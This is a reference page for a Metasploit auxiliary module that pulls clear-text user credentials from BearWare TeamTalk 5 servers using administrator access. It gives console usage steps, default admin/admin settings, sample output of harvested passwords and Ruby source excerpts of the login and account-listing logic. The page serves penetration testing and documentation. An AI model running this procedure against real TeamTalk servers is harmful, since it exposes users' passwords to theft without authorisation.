TeamTalk Gather Credentials - Metasploit


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Module Overview

Name: TeamTalk Gather Credentials
Module: auxiliary/gather/teamtalk_creds
Source code: modules/auxiliary/gather/teamtalk_creds.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 10333
List of CVEs: -

This module retrieves user credentials from BearWare TeamTalk. Valid administrator credentials are required. This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/teamtalk_creds
msf auxiliary(teamtalk_creds) > show targets
    ... a list of targets ...
msf auxiliary(teamtalk_creds) > set TARGET target-id
msf auxiliary(teamtalk_creds) > show options
    ... show and set options ...
msf auxiliary(teamtalk_creds) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Description

This module retrieves user credentials from BearWare TeamTalk.

Valid administrator credentials are required.

Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.

Vulnerable Application

TeamTalk 5 is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.

This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.

The TeamTalk software is available on the BearWare website and on GitHub.

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/gather/teamtalk_creds
  3. Do: set rhost <RHOST>
  4. Do: set rport <RPORT> (default: 10333)
  5. Do: set username <USERNAME> (default: admin)
  6. Do: set password <PASSWORD> (default: admin)
  7. Do: run
  8. You should get credentials

Scenarios

  [*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
  [+] 172.16.191.166:10333 - Authenticated successfully
  [+] 172.16.191.166:10333 - User is an administrator
  [*] 172.16.191.166:10333 - Found 5 users

  TeamTalk User Credentials
  =========================

   Username  Password                     Type
   --------  --------                     ----
   debbie    1234567890                   1
   murphy    934txs                       2
   quinn     ~!@#$%^&*()_+{}|:" <>?;',./  2
   sparks    password                     2
   stormy                                 1

  [+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
  [*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the gather/teamtalk_creds auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/teamtalk_creds

msf6 auxiliary(gather/teamtalk_creds) > show info

       Name: TeamTalk Gather Credentials
     Module: auxiliary/gather/teamtalk_creds
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  admin            yes       The password for the specified username
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     10333            yes       The target port (TCP)
  USERNAME  admin            yes       The username for TeamTalk

Description:
  This module retrieves user credentials from BearWare TeamTalk. Valid 
  administrator credentials are required. This module has been tested 
  successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.

References:
  https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php

Module Options

This is a complete list of options available in the gather/teamtalk_creds auxiliary module:

msf6 auxiliary(gather/teamtalk_creds) > show options

Module options (auxiliary/gather/teamtalk_creds):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  admin            yes       The password for the specified username
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     10333            yes       The target port (TCP)
   USERNAME  admin            yes       The username for TeamTalk

Advanced Options

Here is a complete list of advanced options supported by the gather/teamtalk_creds auxiliary module:

msf6 auxiliary(gather/teamtalk_creds) > show advanced

Module advanced options (auxiliary/gather/teamtalk_creds):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/teamtalk_creds module can do:

msf6 auxiliary(gather/teamtalk_creds) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/teamtalk_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/teamtalk_creds) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

TeamTalk does not appear to be running

Here is a relevant code snippet related to the "TeamTalk does not appear to be running" error message:

37:	
38:	    connect
39:	    banner = sock.get_once
40:	
41:	    unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
42:	      fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
43:	    end
44:	
45:	    print_status "Found TeamTalk (protocol version #{$1})"
46:	
47:	    report_service :host  => rhost,

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

53:	
54:	    req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
55:	    res = send_command req
56:	
57:	    unless res.to_s.starts_with? 'accepted'
58:	      fail_with Failure::NoAccess, 'Authentication failed'
59:	    end
60:	
61:	    print_good 'Authenticated successfully'
62:	
63:	    if res =~ /usertype=2/

User is not an administrator

Here is a relevant code snippet related to the "User is not an administrator" error message:

61:	    print_good 'Authenticated successfully'
62:	
63:	    if res =~ /usertype=2/
64:	      print_good 'User is an administrator'
65:	    else
66:	      print_warning 'User is not an administrator'
67:	    end
68:	
69:	    vprint_status "Retrieving users..."
70:	
71:	    res = send_command 'listaccounts'

Command not authorized

Here is a relevant code snippet related to the "Command not authorized" error message:

68:	
69:	    vprint_status "Retrieving users..."
70:	
71:	    res = send_command 'listaccounts'
72:	
73:	    if res =~ /^error/ && res =~ /message="Command not authorized"/
74:	      print_error 'Insufficient privileges'
75:	      return
76:	    end
77:	
78:	    unless res =~ /^ok\r?\n?\z/

Insufficient privileges

Here is a relevant code snippet related to the "Insufficient privileges" error message:

69:	    vprint_status "Retrieving users..."
70:	
71:	    res = send_command 'listaccounts'
72:	
73:	    if res =~ /^error/ && res =~ /message="Command not authorized"/
74:	      print_error 'Insufficient privileges'
75:	      return
76:	    end
77:	
78:	    unless res =~ /^ok\r?\n?\z/
79:	      print_error 'Unexpected reply'

Unexpected reply

Here is a relevant code snippet related to the "Unexpected reply" error message:

74:	      print_error 'Insufficient privileges'
75:	      return
76:	    end
77:	
78:	    unless res =~ /^ok\r?\n?\z/
79:	      print_error 'Unexpected reply'
80:	      return
81:	    end
82:	
83:	    cred_table = Rex::Text::Table.new 'Header'  => 'TeamTalk User Credentials',
84:	                                      'Indent'  => 1,

Did not find any users

Here is a relevant code snippet related to the "Did not find any users" error message:

98:	                  type:     type,
99:	                  proof:    line
100:	    end
101:	
102:	    if cred_table.rows.empty?
103:	      print_error 'Did not find any users'
104:	      return
105:	    end
106:	
107:	    print_status "Found #{cred_table.rows.size} users"
108:	    print_line

Timeout (<TIMEOUT> seconds)

Here is a relevant code snippet related to the "Timeout (<TIMEOUT> seconds)" error message:

167:	    Timeout.timeout(timeout) do
168:	      res << sock.get_once until res =~ /^end id=#{cmd_id}/
169:	    end
170:	
171:	    res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
172:	  rescue Timeout::Error
173:	    print_error "Timeout (#{timeout} seconds)"
174:	  rescue => e
175:	    print_error e.message
176:	  end
177:	end

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References

See Also

Check also the following modules related to this module:

Authors

bcoles

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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